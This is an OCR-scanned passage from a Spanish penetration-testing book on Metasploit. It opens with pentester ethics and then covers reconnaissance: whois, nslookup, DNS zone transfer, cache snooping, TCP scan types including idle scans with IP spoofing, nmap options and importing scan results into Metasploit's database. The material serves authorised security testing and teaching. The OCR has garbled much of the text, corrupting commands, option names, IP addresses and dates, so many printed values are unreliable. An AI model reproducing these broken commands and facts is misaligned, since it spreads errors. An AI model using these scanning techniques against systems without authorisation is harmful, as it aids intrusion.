de las personas apasionadas con la seguridad informatica. Estas personas o profesionale; lde] séctor
realizardn ataques informéticos a organizaciones sin que €stos sean ataques reales, es decir, se
comprueba el estado de seguridad en el que se encuentra la organizacién de una manelﬂ‘a cbnlrolidw
Bstos profesionales deben disponer de la ética profesional para no aprovecharse de sus Conocimie:uc()s.
ni fle las situaciones que pueden surgir. Por ejemplo, puede darse la signiente situacién: Una empresa
quiere auditar y comprobar hasta donde puede llegar un usuario, con un nivel de acceso bajo a iiert;
informacion de la empresa que reside en un sistema critico de ésta. La empresa decide COI‘lll"ll’l‘r
a alguien que simule ser un empleado con cierto nivel de acceso, y ver hasta dénde puede Ile(rz:r
'Un‘a vez esta persoria ha logrado acceder a la informacién que la empresa no queria mostrar, é’ste-
informa a la organizacion de qué procedimiento ha llevado a cabo para lograr el obic(ivb La e;'son'x
contratada debe disponer de una ética profesional, ya que si la empresa contratase aal gu i‘en 55\ 'dich;
ética, se encontrarian, seguramente, con bastantes problemas de confidencialidad. L

El profesional de la seguridad dispone de una élica, la cual es la marca e imagen de lodo su trabajo
. s rs M ¢ )
A continuacidn se exponen buenas précticas a llevar a cabo en un proceso de auditoria, las cuales
) N . . . . > e ¢
pueden ser tomadas por cualquier profesional para construir su élica;

- No atacar objetivos sin el respaldo de un contrato o permiso escrito.

- Generar el mejor informe posible, tanto en su formato téenico, con un proceso elaborado
y detallado de las acciones llevadas a cabo, como en su formato ejecutivo, explicando con
gran detalle los problemas de seguridad encontrados. :

- No realizar acciones maliciosas sobre los sistemas que se estén verificando en la
organizacion.
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- Hay que considerar que toda accién tiene consecuencias. Si se realizan acciones fuera del ‘ C apltul 0 II
. " imbito' del.contrato se te 'rdn consecuencias negativas parael -ofesional. _ L
- Si se realizan accion4s de manera ilegal, el profesional puede acabar siendo investigado ' P r ellmlnal‘es
o denunciado, incluso puc.2ndo acabar siendo cohdenado. ; .

- Maxima confidencialidad sobre la informacié que se puede ir obteniendo en el proceso
1
de las pruebas. C / !

- Respetar la pdvacidad de los usvarios.
Il objetivo de este libroles presentar Ia herramienta Metasploit en’el dmbilo de los le]st de infrusion
de una manera élica y moral para el profesional del sector de la seguridad.

1. Ambito

* El presente capitulo engloba las fases de recoleccion de'infor.':mcién y andlisis de vulnerabilidade

- con la herramienta Metasploit. La fase de recoleccign de informacién proporcionaré al auditor yy
gran volumen de datos sobre Iy organizacion a auditar. Se-dard una vision global de qué técnicas
Y procesos seguir para ir recogiendo informacion utilizando distintas ramas. La fase de analisis
de vulnerabilidades propone realizar un estudio sobre posibles amenazas que pueden existir en un
sistema, por lo que se utilizardn herramientas conocidas como escéneres de vulnerabilidades para
tratar de obtener vias de ataque a los sistemas.

Estas fases necesitan de gran paciencia por parte del auditor, no son las fases mas vistosas del test’
de intrusion, pero si son fases necesarias en las que el profesional debe obtener el mayor nimero de
mformacion precisa acerca de como trabajan sus objetivos sin revelar la presencia del auditor o las

- intenciones de éste. La ytilizacion de google hacking, crear mapas de.red de [a organizacién para |
entender mejor la infraestructura de la empresa, planificar las acciones, investigar y el pensar como °
un atacante son buenas pricticas que pueden ayudar al auditor a llevar a cabo con €xito esta fase y
el resto de las fases del test de intrusién,

La integracion de escéneres de vulnerabifidades con Metasploit aporta gran flexibilidad y
funcionalidad a las fases primarias del test de intrusién, En el presente capitulo se hara gran hincapié .
en esta funcionalidad e integracion con la que se pretende mostrar el potencial del framework, Bste
tipo de escéneres tienen un funcionamiento basico en el que se envian unas peliciones en funcidn de

- la tecnologia a fas que se requiere auditar o investigar y se analizan las respuestas recibidas, en un
esfuerzo para enumerar un nimero de vulnerabilidades presentes en el sistema remoto. Los sistemas
operativos tienden a responder de manera distinta cuando son preguntados por ciertos paquetes de
ciertos protocolos, debido a [a implementacién, por ejemplo, de la pila TCP/IP. Estas respuestas
ayudan a realizar fingerprint con lo que se pueden determinar versiones de sistemas operativos u
otras aplicaciones. Ademds, aportando credenciales, se pueden enumerar las aplicaciones de que
dispone un sistema, servicios ¥ actualizaciones disponibles en la maquina. Por lo general, estas
herramientas presentan un informe con las vulnerabilidades encontradas que se puede utilizar y
se debe recapitular para el informe final. Este informe, servirg a priori al auditor narg realizar Ja
sigliente fase del test de intrusién y contrastar dicha informacion,
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2. Recogida de informacién

En la fase de recogida de informacién se disponen de varias técnicas o vias para recolectar fos datos.
El footprinting consiste en la bisqueda de cualquier tipo de informacion piblica, ta cual ha sido
publicada a propésito o con desconocimiento de la organizacion. Con la realizacion de este proceso se
buscarén todas las huellas posibles, desde direcciones IP pertenecientes a la organizacion, servidores
internos, cuentas de correos de los usuarios de la empresa, nombres de maquinas, informacion de
dominio, tipos de servidores, impresoras, camaras If, metadatos, etcétera. En conclusion, cualquier
dato que puede resultar Gtil para lanzar distintos ataques en las fases posleriores del test de intrusion.

El fingerprinting consiste en analizar las huellas que dejan las méaquinas, por ejemplo para obtener
el sistema operativo, la version de una aplicacion, puertos abiertos, existencia de firewalls, etcétera.
Las huellas se detectan a travég del analisis de las conexiones de red de estas maquinas, por ejemplo,

en el tipo y forma de las respyestas al establecimiento de {as conexiones. Este proceso es Hevado a -

cabo a través de 2 maneras, Je forma activa, es decir, las herramientas envian paquetes esperando
una respuesta, y en funcién de dicha respuesta se pueden inferir ciertas propiedades de ciertas
tecnologias concretas. Se utiliza una base de datos donde se va comparando para obtener la realidad.
La otra via es la pasiva, donde la herramienta escucha el trafico para identificar maquinas que actaan
en la red comparando las respuestas pero sin llegar a interactuar en la red.

Técnicas pasivas

La recoleccién de informacion pasiva o indirecta consiste en descubrir datos sobre los objetivos sin
tocar los sistemas, es decir, sin interaccion directa sobre los mismos. Se puede utilizar esta técnica
para identificar los limites de la red, las principales redes, etcétera.

Txisten varias herramientas que permiten la recoleccion de informacion pasiva, como pueden ser
whois, nslookup, google hacking, fuzzers, etcélera. Sise imagina un ataque contra el dominio de una
empresa que contrata unos servicios, el objetivo del auditor en esta fase es determinar, como parte
de un test de intrusion, que sistemas de la organizacion se pueden atacat. En esta fase, se pueden
descubrir sistemas que parecen de la organizacién pero no lo son, por lo que se deberian descartar
por encontrarse fuera del alcance de la prueba de intrusion. i

Whois

Las herramientas de! sistema se pueden lanzar desde una terminal de Linux o desde el interior de
msfeonsole. En realidad, cuando se ejecuta una herramienta de esle tipo desde msfconsole, ésta lanza
un exec del ejecutable que se requiere.

Whois es una herramienta que permite al auditor o cualquier usuario realizar consultas en una base
de datos para determinar el propietario de un nombre de dominio o una direccién 1P en la gran red,
Internet. Hoy en dia, existen gran cantidad de sitios web que ofrecen esta disponibilidad onfine
aportando interfaces mas amigables a los usuarios.

Capltulo I1. Preliminares

La informacién que se puede obtener con whois es la referente a los servidores DNS, domain
name system, donde se encuentra alojado el dominio, y quién es el propietario. Estos servidores
no deberian entrar en un test de intrusién, por lo general, ya que se pueden encontrar fuera de los
limites de la organizacién, e incluso pueden ser compartidos. Sin embargo, si la organizacién es
grande y dispone de sus propios DNS, si puede ser factible el introducirlos en un test de intrusion.
Existen ataques sobre estos servidores, los cuales pueden proporcionar gran cantidad de informacion
¢ incluso mapas de red internos, :

osf > whois informatica4.com
[*} exec: whois Informatica6d.com

whols Server Version 2.8

Domain nawes in the .com and .nex domains can now he registered t
with many different competing registrars. Go to http://www.internic.net
for detailed information.

Domain Name: INFORMATICAB4.COM

Hegistrar: ARSYS INTERNET, S.L. B/B/A NICLINE.COH
whois Server: whois.nicline.com

Referral URL: hitp://wwe.nicline.com

Hame Server: NS1.INFORMATICAG4.COM

Mame Server: NS2.INFORMATICA64.COH

Status: ok

Updated Date: 82-sep-2811

Creation Date: 38-aug-2060

Expiration Date: 38-aug-2021

»>»>> Last update of whois database: Tue, 28 May 2812 87:37:52 UTC <<<

Fig 2.01: Ejecucion de whois sobre un dominio.

Nslookup .

Esta herramienta permite, entre otras cosas, verificar si el servidor DNS esta resolviendo
correctamente los nombres de dominio y las direcciones IP. Existe una version tanto para sistemas
operativos Windows como para sistemas basados en Unix.

Esta aplicacion pregunta al servidor DNS por la informacion que éste dispone en sus registros. Las
consultas pueden ser globales o especificas hacia un servicio en concreto, por ejemplo, si se requiere
resolver donde se encuentran los servidores de correo de una organizacién, o cuales son y donde se
encuentran los servidores DNS, si dispone de alguno mas u obtener la direccion IP del servidor web
donde se encuentra alojada el sitio web, etcétera.

Tras lanzar la aplicacion, ya sea en Windows o Linux, se disponen de distintos comandos para
configurar a nslookup y que éste realice las peticiones como se requiera. Uno de los comandos que
més juego aporta es sef, con el que se configuraran las peticiones y la informacién que se recogera de
Jos servidores DNS. Por defecto, tras arrancar la aplicacion nslookup envia las peticiones al servidor
DNS configurado en la conexion a Internet. Existe ef comando server con el que el usuario puede
especificar a qué servidor DNS quiere enviar las peticiones.

Para consultar informacion sobre un dominio, simplemente hay que escribir el nombre del dominio,
por ejemplo informatica64.com, en la consola que abre nslookup. Para obtener el méximo de
informacion sobre el dominio se puede utilizar la sentencia sef g=any para la version basady en



Metasploit para Pentesters

Unix y set g=all para la versién basada en Windows. Ahora si se gjecuta la sentencia anterior donde
se pregunta por informacion de un dominio, se obtendra bastante més informacién, como puede ser
nombres de dominio de los servidores DNS, servidores de correo, servidor del sitio web, direccidn
de correo del administrador, etcétera.

> set g=any

> informaticaéd.com
Server: 8.8.8.8
Address: B.8.8.8453

Hon-authoritative anfwer: .-
Hame:  informatica6d.com '
Address: 80.81.106.147

informaticas4.com nameserver = ns2. informatica6a, com.
informatica64.com nameserver = nsl.informaticaéd.com.
informatica6d.com

» origin = nsl.informatica64.com 1

mail addr = rodol.informaticat4.com

serisl = 2085101226

refresh = 3600

retry = 3508

expire = 1209668 :

ninimum = 3600 N
informatica6d.com mail exchanger = 18 correo.informatica6.com.
informatica6d. com text = "y=spfl a a:mail.informaticad.net a:correo.informaticabd.com ipd
:80,81.106.148 ip4:86.81.196.146 -all"

Fig 2.8 Recoleccion de servidores con nslookup.

Transferencia de zona - ‘

Los DNS permiten dividir el espacio de nombres en diferentes zonas, las cuales almacenan
informacion de nombres de uno o mas dominios. El origen autorizado sobre un dominio es la zona
en la que se encuentra dicho dominio, es decir, es el encargado de la informacién acerca de dicho
dominio. Es extremadamente importante que las zonas se encuentren disponibles desde distintos
servidores DNS por temas de disponibilidad.

™

\N

\www bog /‘/

ZONTU project e
Fig 2.03: Esquema de zonas,

. DNS Snooping
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Las transferencias de zona se crearon para que otros servidores, ademés del principal, puedab
alojar zonas replicando toda la informacién. Las transferencias de zona suceden en las siguiente;
situaciones:

- Cuando se instala un nuevo servidor DNS y éste se configure en una zona existente
- Cuando finaliza el plazo de actualizacién de una zona.

- Cuando se produce alglin cambio en una zona y es necesario actua]lzar pam Ia replicaciopem
. de los cambios.

- Cuando manvalmente se solicita 1a transferencia de zona, '

En el siguiente ejemplo se utiliza un cimd en Windows para realizar la prueba de concepto o proqb;
of concept, PoC, de la transferencia de zona. En primer lugar, tras lanzar nslookup en un cmd se®
modificard la informacidn que se quiere obtener con el uso del comando set q=ns. A conlnmdclon.
se introduce ¢l <Iomm|0 sobre el que sé quiere comprobar si existe la transferencia de zona.

[ sec g=ng
> N .cs
ervidor: sl g .cs
ddress: ¥R B 0.2

-es paneserver = BRB.mgy.os

-85 nameserver = nsl.\gEEE.es

N S internet address = SRS dew R .64
R .5 internet address = ol 800 4. 2

Fig 2.04: Configusacién nslookup para probar Ia transferencia de zonas.

Una vez que se dispone de los servidores DNS de la organizacion se utiliza el comando server
para cambiar el servidor DNS al que se realizaran las consulias con nslookup. Una vez redhzada‘
esta accién se utilizard el comando /s y el dominio sobre el que se tequiere informacién, si esel
servidor DNS tiene activada la transferencia de zona se obtend4 gran cantidad de infor macion, que,

+ seguramente la empresa no quiera que sea visible o no sabe que es visible. En bastantes ocasmnes

es una mala configuracion o un descuido del admlmslrador el que provoca esta situacion,

> sexrver nsi.gepm.c
ervidor predeternmadu. nsl . .es
ddress: VRSN 2

> Ls o cs

Fig 2.05: Consecu: 6n de informacion con transferencia de zona.

Este tipo de ataque se enmarca tambiér :n la fase de descubrimiento y recoleccion de 111foxmaei
2

DNS caché snooping, nombre real de fa , ulner abilidad, es una técnica que permite al auditor cono

los distintos nombres de dominio que lu‘n sido resueltos por el servidor DNS y cual‘esfi.ﬂo
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El servidor DNS con esta vulnerabitidad esta proporcionando informacion sobre la red al atacante,
o en este caso al auditor. Esta fuga de informacion puede ayudar a un atacante a estudiar y explotar
de manera eficiente otras vulnerabilidades.

Técnicas activas

Las técnicas activas para recoleccion de informacién consisten en interactuar directamente con los
sistemas para aprender més sobre su configuracion y comportamiento. Llevaran a cabo un escaneo
de puertos para el estudio de los posibles puertos abiertos que se encuentren y determinar que
servicios se estan ejecutando, ademas de la version del producto que se encuentra detrés del puerto.

En los sistemas cada puerto que se encuenira abierto da una via de explolacién al auditor, por lo
gue esta informacion es muy valorada en esta fase. Hay que conocer los tipos de escaneos que
se encuentran disponibles y saber configurar las herramientas para poder oblener el miximo de
informacién posible. Hay que tener cuidado con los IDS(Infrusion Detection System), y firewalls
que se puedan encontrar en el andlisis de puertos.

Tipos de escaneo

Existen gran cantidad de tipos de escaneos, con diferentes objelivos. A continuacion se van a estudiar
los mismos. Herramienlas como nmap disponen de gran versatilidad y posibilidad de configuracion,
es recomendable estudiar el uso y configuracion de esta potente herramienta,

Half Scan ' ,

Este tipo de escaneo consiste en, realizar el procedimiento three-way handshake sin concluir por
completo para no crear una conexion. En otras palabras, el emisor envia un SYN para iniciar
‘conexion, si el receptor envia un SYN+ACK significa que el puerto se encuentra abierto, entorices
el emisor envia un RST+ACK para finalizar la conexién, en vez de un ACK que seria lo normal para
crear la conexion. La viabifidad de este tipo de escaneo es alta, con gran fiabilidad en su ejecucion.

msf > use auxiliary/scanner/portscan/tcp
ms{ auxiliary{tcp) > show options

Hodule options (auxiliary/scanner/portscan/tcp):

Hame Current Setting Required Description

CONCUNRENCY 18 yes The oumber of concurrent poris to check per host
FILTER no The fitter string for capturing traffic
INTERFACE no The name of the interface

PCAPFILE no The name of the PCAP capture file to process
PORTS 1-10086 yes Ports to scan {e.g. 22-25,88,110-966)
RHOSTS 192.168.1.39 yes The target address range or CIDR identifier
SNAPLEN 65535 yes The number of bytes to capture

THREADS 1 yes The number of concurrent threads

TIMEQUT 1069 yes The socket conmect timeout in milliseconds
VERBOSE false ne Display verbese output

msf auxiliary{tep) > run

[*) 192,168.1.39:139 - TCP OPEN
{*] 192.168.1,38:135 - TCP OPEN
1+] 192,168,1.39:445 - TCP OPER

Fig 2.06: Escaneo de tipo halff scan.
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Metasploit dispone de un médulo de tipo auxiliary para realizar este tipo de escaneos. El médulo se
encuentra en la ruta auxiliary/scanner/poriscan/tcp. Al mirar las opciones se puede configurar las
direcciones IP a escanear, el rango de puertos que se analizaran, la variable pcapfile donde se puede
indicar la ruta de una captura de red con la que el mddulo procese la informacion y la muestre, el
rimeout, etcélera. Este pequefio médulo es bastante (til para realizar este lipo de escaneo.

ACK Sean )

La finalidad de este escaneo es distinta, no es determinar si un puerto se encuentra abierto 0 no, si
no si un equipo de la red escucha las peticiones a través de un firewall. El emisor envia un paquete
con un ACK aclivo; el receptor debe responder con un RST esté el puerto abierto o no, st no existe
respuesta es que hay un cortafuegos en medio de la comunicacion. :

Metasploit dispone de un mddulo, como el anterior de tipo auxiliary, para llevar a cabo cste tipo de -
escaneos y prucbas sobre equipos remotos y la comunicacién con éstos. El modulo se encuentra en
la ruta auxiliary/scanner/portscanfack. Al mirar las opciones se pueden configurar las direcciones 1P
a escanear, el rango de puertos que se estudiaran, entre otros valores interesantes.

Null Scan

Este tipo de escaneo tiene una caracleristica curiosa y es que el paquele que se envia no contiene
ningiin bit activo. El emisor envia este tipo de paquetes y si el puerto se encuentra abierto no se
recibira nada, si por el contrario el puerto se encuentra cerrado se envia un RST+ACK. Es por
ello, que normalmente se puede encontrar en otros libros que este tipo de escanco tiene como fin
averiguar cuales son los puertos TCP cerrados.

Xmas Sean R

Este tipo de escaneo tiene en sus paquetes los bits de control activos. Windows, por defecto, no
responde a este 'tipo de paquetes, pero antiguamente la pila TCP/IP, respondia con un paquete
RST+ACK cuando el puerto se encontraba cerrado, mientras que si el puerto se encontraba abierto
no se respondia. La viabilidad de este tipo de escaneos no es ni mucho menos optima, inclindndose
hacia una viabilidad mala:

st auxiliary(xmas) > use auxiliary/scanner/portscan/xmas
st auxiliary{xmas} > show options

lodule options {auxiliary/scanner/portscan/xmas):
Name Current Setting Required Description
BATCHSIZE 256 yes The number of hosts to scan per set
INTERFACE no The name of the interface
PORTS 1-10000 yes Ports to scan {e.g. 22-25,80,110-306) .
RHOSTS 192.168,1.39 yes The target address range or CIDR identifier
SNAPLEN 65535 yes The number of bytes to capture
THREADS 1 yes The number of concurrent threads
TIMEOUT 500 yes The reply read timeout in milliseconds

Isf auxiliary(xmas) >
Fig 2.07: Médulo xmas auxiliary de Metasploit.
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Metasploir dispone de un médulo, de tipo auxiliary, para llevar a cabo este tipo de escaneo. Este
modulo se encuentra en la ruta auxiliary/scanner/poriscan/xmas. Las opciones que dispone son
parecidas a las del médulo de escaneo de tipo ACK.

FIN Scan

[iste tipo de escaneo consiste en la creacion de un paquete TCP con el bit de FIN activo, El emisor
envia el paquete y si ef puerto se encuentra abierto no se obtendré respuesiy, sin embargo, si el puerto
se encrientra cerrado se recibird un RST+ACK., El objetivo o finalidad de este tipo de escaneo es
idéntico al mull scan 'y xmas scan, incluso algunos autores los agrupan como escaneos de deteccidn
de puerlos cerrados a estos tipos.

Connecet Sean ‘ :

s un tipo de escaneo antiguo, y quizé uno de los menos originalesyde los que se han podido estudiar
en este libro. Su funcionamiento es el siguiente, en primer lugar se realiza el proceso completo de
three-way handshake, creando una conexion entre 2 maquinas si el puerlo se encuentra abiertc en
la maquina victima. Una vez que la conexién se encuentra establecida el servicio que se encuentra
detrds de dicho puerto se identifica enviando el banner del servicio. En este punto el emisor envia un
ACK y por dltimo un RST+ACK para forzar el cierre de la conexion. Se puede obtener ademas de la
conclusion de que el puerto estd abierto o no, la identificacion del producto y la versién del servicio.

Idle Scan

Este escaneo es uno de los mas complejos y su eficacia depende de la méquina elegida como zombic.
En el escenario habra al menos 3 maquinas, una es la del atacante, otra serd la zombie o intermediaria
y la Glima la victima. La maquina del atacante debe chequear que el zombie utilice un algoritmo
predecible para marcar los paquetes IP. Para averiguar este detalic el emisor o atacante envia varios
paquetes con SYN+ACK para iniciar una conexion.El objetivo es obtener RST y chequear que los
1D de las respuestas sean sucesivas o predecibles. También se debe verificar que la maquina zombie
no estc teniendo tréfico, ya que si no el proceso seria inviable.

Cuando el alacante haya encontrado una maquina zombie que pueda ser utifizada, el atacante enviard
paquetes SYN a la méquina victima haciendo /P Spoofing. Los paquetes enviados desde la maquina
atacante, con la direccion IP de la miquina zombie, a la victima son en realidad un scan normal. La
diferencia se encuenira en que las respuestas de fa victima irdn-destinadas a la maquina zombie, por
la suplantacion de IP realizada por el atacante. ’ :

Cuando la victima conteste a la peticion SYN, devolvers un SYN+ACK si el puerto se encuentra
abierto o un RST+ACK si el puerto se encuentra cerrado. Cuando la méiquina zombie reciba un
SYN+ACK enviard un RST a la maquina victima. Si la maquina zombie recibe un RST+ACK, se
declarard como trifico nulo y se descartara,

Tras esperar un corto perjodo de tiempo el atacante preguntard por el 1D de los paqueles de la

méquina zombie y pueden ocurrir 2 situaciones concretas, en primer lugar el ID se ha incrementado

Capfiulo I Preliminares

en uno, entonces el puerto en la mAquina victima estd abierto, o por el contrario si‘el ID no se 136
incrementado, el puerto se encuentra cerrado. 3 :
nmap

Esta herramienta, mundialmente conocida, permite al auditor explorar los puertos ablertog
deteccion de servicios, averiguar versiones de productos, fingerprint del sistema operativo, enu‘
otras acciones. La herraniienta se encuentra disponible tanto para sistemas Linux como Windows. |

nmap puede suponer, a primera vista, una herramienta costosa de utilizar por su flexibilidad ‘
diversidad en las posibles acciones a realizar con ella. Es verdad que dispone de gran cantidad d;
parametros, por lo que se intentaré listar algunos de interés relacionados con los tipos de escénere 3

vistos en este libro. También, se puede recomendar el uso de interfaces graficas para fa utilizaci(f.
de nmap, y de este modo simplificar el entendimiento y uso de la herramienta. '

La ejecucion de log comandos mmap se puede generalizar mediante el siguiente csquema nma‘
<lipo de scan> <opciones™>. La ejecucion por defecto serid la siguiente mmap <direccion IP>, co;i
la que se obtiene un reporte de la maquina con dicha direccién IP dénde se informa de los puerto
abiertos, servicios encontrados o ¢l estado de la maquina. Para ser el escaneo por defecto no es poci
la. informacion obtenida.

A continuacién se listan los diferentes parimetros que se deben afiadir a la ejecucion de mmap par;'
obtener distintos resultados, en funcion de los tipos de escaneos vistos anieriormente.

|

Pardmetro Descripcion y ejemplo ,
0 El escaneo realizara fingerprint del sistema operativo con el objetivo de obtener la T.
i version de éste en la o las maquinas remotas. Bjemplo: nmap —O <direccion IP>
P Con este pardmetro se analiza qué equipos se encuentran activos en una red. ’
8 Ejemplo: nmap —sP 192.168.0.0/24
S Se lanza un escaneo sobre varios equipos 0 una red. Permite obtener un listado de
’ puertos abiertos de éstos. Ejemplo: nmap —sS 192.168.0.0/24
Permite realizar un escaneo de tipo Null Scan. Bjemplo: nmap —sN <direccidn
-sN
P> _
- Permite realizar un escaneo de tipo FIN Scan. Ejemplo: nmap —sF' <direccidn
- sF ;
P>
Permite realizar un escaneo de tipo XMAS Scan. Bjemplo: nmap —sX <direccion
-sX ,
P> 3
Se indica sobre qué puertos se debe realizar el escanco. Ejemplo: mmap - \
139,80,3389 <direccién [P>. Para indicar rangos especificamos e_l puerto de [a }
P siguiente manera 80-1500. Se realizara un analisis desde el puerto 80 hasta ¢|
1500 AN
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Pardmetro Deseripcién y ejemplo
A Este pardmetro habilita la deteccion del sistema operativo, ademas de las versiones
de servicios y del propio sistema. Ejemplo: nmap —A4 <direccion [P>
Permite realizar un escaneo de tipo idle. Ejemplo: nmap —P0 —p - -sI <direccion
o zombie> <direccion victima>. Cabe destacar que la opcion ~p — permile realizar
un escaneo sobre todos los puertos de la miquina, esta accidn puede provocar que
el escaneo se ralentice en gran medida
-5V Obtener las versiones de los productos. Ejemplo: nmap —sV <direccion IP>

Permite exportar la informacion del andlisis en un archivo XML. Ejemplo: nmap
-0X —0 —sV <direccion IP> -0X archivo.xml. Con la opcion —oN se puede exportar la
informacién en un fichero de texto

Tabla 2.01: Parfmetros para obtener informacion variada con mmap.

Hay que destacar que cuando mmap devuelve que un nimero determinado de puertos han sido
filirades, no quiere decir que determinados estén cerrados.. Cuando el mensaje indique que el puerto
se encuentra filtrado, quiere decir que esa mquina dispone de un firewall el cual esté filtrando esas
peticiones a ciertos puertos, mientias que si el mensaje indica que el puerto estd cerrado quiere decir
que se ha obtenido respuesta de la méquina al analizar ciertos puertos, pero que éstos se encuentran
8in ningan servicio.

Existen otros estados que son los siguientes:
- Cerrado, el puerto es accesible pero no hay servicio en él

- No filtrado, el puerto es accesible pero no se puede determinar si se encuentra abierto o
cerrado

- Otros 2 estados que indican que no se puede determinar si el puerto esté abierto o filtrado,
y si el puerto estd cerrado o filtrado.

Una de las operativas mds interesantes es la evasion de sistemas de deteccion de intrusos mediante
Ja fragmentacion de los paquetes, spoofing de direcciones MAC, sefiuelos, spoofing de direcciones
1P, etcétera. Para obtener més informacion sobre las posibilidades de nmap se aconseja la visita y
lectura del sitio web oficial Attp://nmap.org/man/es/.

Importacién de resultados de nmap a Metasploit

Este apartado es realmente interesante ya que Metasploit permite la importacién de los resultados
obtenidos con la herramienta nmap. La utilizacién de tal importacion estd justificada, ya que cuando
se realiza un test de intrusidn con gran niimero de maquinas y aspectos a tener en cuenta se deben
controlar todos éstos.

Enel libro se utilizard ¢l motor PostgreSQL, pero se pueden utilizar otros, como por ejemplo, MySQL.
En primer lugar se deberd disponer de la base de datos arrancada, por lo que la primera accion a
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llevar a cabo es /etc/init.d/posigresql-8.4 stari, la version puede variar en funcién de la descarga
realizada de PosigreSOL. Pueden surgir ciertos aspectos o problemas que impidan la creacion de las
tablas, por parte del framework. Por ejemplo, la contrasefia del usuario postgres, para cambiar dicha
conirasefia debe ejecutarse las siguientes ordenes como se puede observar en la siguiente imagen.

root@root:~# sudo su postgres -c psql
could not change directory to "/roet*
nsql {8.4.8)

Type “help" for help.

postgres=# alter user postgres with password '123abc.‘;

ALTER ROLE

nostgres=# \q

could not save history to file "/home/postgres/.psql_history": No such file or d
irectory

Fig 2.08: Modilicacion de credenciales det usuario posigres.

msf > db_conrnect postgres:123abc.@127.8.0.1/test_libro

NOTICE: CREATE TABLE will create implicit sequence “hosts_id _seq" for serial co
lumn “hosts. id"

NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index “hosts_pkey" for
table “hosts" .

NOTICE: CREATE TABLE will create implicit sequence “clients_id_seq" for serial
column *"clients.id" :

NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "clients_pkey" fo
r table “clients”

NOTICE: CREATE TABLE will create implicit sequence "services_id_seq" for serial
column “services.id"

Fig 2.09: Conexion del framework con ta base de datos.

Para comprobar el estado del framework respecto a la base de datos se puede utilizar el comando
db_status. Si todo ha ido correctamente se obtendra el mensaje posigresql connected to <nombre
bbdd>.

A continuacion se debe importar el fichero generado anteriormente con amap, el cual dispone de los
distintos resullados obtenidos con esta herramienta. Ef comando para realizar dicha imporlacion cs
db_import <fichero XML>.

msf > db_import resultadosNHAP.xml

{*] Importing 'Nmap XML' data

[#] Importing host 192,168,1.39

{*] Successfully imported /root/resultadosNHAP.xml

msf >

Fig 2.10: Importacién de resultados de mmap a Metasploit.

Una vez se ha importado el fichero correctamente se disponen de ciertos comandos que interactiian
con la informacion almacenada como son db_hosts, db_services, db_nofes, entre olros.

El comando db_hosts permite realizar busquedas y consultas sobre la informacion de los equipos
que se encuentran importados en la base de datos. Hay que tener en cuenta, que cuando se utiliza
una base de datos es que se dispone de gran cantidad de informacion sobre equipos, servicios de
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¢slos, versiones de los servicios, etestera. Es por ello que el comando db_hosts es fundamental para
realizar consullas sobte caracteristicas de algunos equipos y delimitar el rango de accién.

Los pardmetros de db_hosts son los que se pueden visualizar a continuacion,

Pardmetro Descripeién y ejemplo

Realiza una bisqueda de direcciones. Ejemplo: db_hosts ~a <direccionl,
direccion?, ..., direcciénN>

Filtra informacién de las columnas que se requiera, Ejemplo: @b _hosts —
-C <columnal, columnaZ, ..., columnaN>. Las columnas pueden ser name, os_name,
state, address, os_lang, os_sp, etcétera

Solo muestra los equipos que se encontraban activos o levantados. Ejemplo; b

-u
hosts —u
-0 Se envia la salida a un fichero en formato CSV. Ejemplo: db_hosts —o <fichero>
R Se afiade a la variable RHOSTS las maquinas obtenidas en la busqueda. Ejemplo

db_hosts ~R '

Tabla 2.02: Pardmetros para obtener informacién variada con db_hosts.

Bl comando db_services permite obtener informacion sobre los distintos servicios disponibles
en las méaquinas analizadas, piiertos abiertos, protocolos, etcétera, Este comando dispone de los
mismos pardmetros que db_hosts, con el mismo significado, pero ademas aporta otros que afiaden
funcionalidad.

Pardmetre Descripeién y ejemplo

. Realiza una busqueda por nombre de servicios. Bjemplo: db_services -n neibios-
SSH )

. Realiza una bisqueda por puertos. Ejemplo: db_services —p 139,445,3389. Se

devuelve la maquina que dispone de alguno de los puertos abiertos

Muestra sélo informacién sobre protocolo TCP ¢ UDP. Ejemplo éb_services —r
fep ‘

Tabia 2.03: Pardmetros para oblener informacion variada con dh_services,

-1

s importante recalcar que los pardimetros deben ser ejecutados utilizando varios a la vez para afinar
las biisquedas y sacar el méximo provecho de ia base de datos y el proceso de filtrado sobre ésta. Por
ejemplo, db_services ~a 192.168.1.39 —n msrpc —r tcp, de esta manera se esté filirando con mayor
restriccion y seguro que el auditor consigue afinar mis su bisqueda,

Et comando db_nofes permile al auditor visualizar notas o informacion sobre fos equipos. Este
comando dispone de un pardmelro que es el ~a con el que el auditor puede realizar bisqueda de
notas de equipos a través de sus direcciones JP.
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Elcomando db_vulns permite ol auditor obtener informacién sobre las vulnerabilidadeéque disponen
los equipos escaneados. Ademds, se obtiene la referencia de la vulnerabilidad por lo que se puedc;
obtener informacion extra Ficilmente buscéndola en sitios web como http:/leve.mitie, org/index.mip
O hutp:/hwwwisecurityfocus.com. )

Integracion de nmap cen el framework A
Metasploit dispone de la posibilidad de utilizar la herramienta nmap de manera integrada con elq
Jramework. Se recomienda la utilizacion de amap con Metasploii y el uso de la base de datos, que se
ha explicado en el apartado anterior, de esta forma se puede almacenar toda la informacion posible,
para asi después poder consultar dicha informacion, o utilizar la técnica autopwn para probar la
seguridad de fos equipos.

!

£l comando para utilizar nmap en la msfeonsole de Metasploit es db_rmmap. Por debajo se utiliza
ninay por lo que las opciones son las mismas. Tras la utilizacién de db_nmap, si se dispone de la
conexion con la base de datos, los resultados quedan almacenados en ésta.

3. Escaneres de vulnerabilidades

’

Los escéneres de vulnerabilidades permiten al auditor evaluar sistemas informaticos, equipos, redes,
verificar actualizaciones, versiones, etcétera. Existen gran cantidad de escaneres, los cuales ayudan
al auditor arealizar distintas pruebas y poder ltegar a ciertas conclusiones sobre el status de seguridad
de una organizacion. Los escaneres disponen de un objetivo comin, enumerar vulnerabilidades de
seguridad en uno o més equipos de una red u organizacién, Por otro tado, existen distintos enfoques
en los escaneres de vulnerabilidades, es decir, disponen de diferentes funcionalidades para realizar
la evaluacion.

La informacion obtenida tras el andlisis de lag méquinas, redes, servicios, productos, etcétera, puede
servir al auditor para detectar vulnerabilidades conocidas o recientemente descubiertas que pudiesen
ser explotadas por un potencial atacante.

Compatibilidad con los ficheros de informacién de escéneres
Melasploit dispone de ia posibilidad de importar archivos de escaneos realizados con gran cantidad
de escaneres de vulnerabilidades. Bsta funcionalidad aporta un nivel de integracién del framework
enorme con las herramientas de seguridad que se encuentran en el mercado.

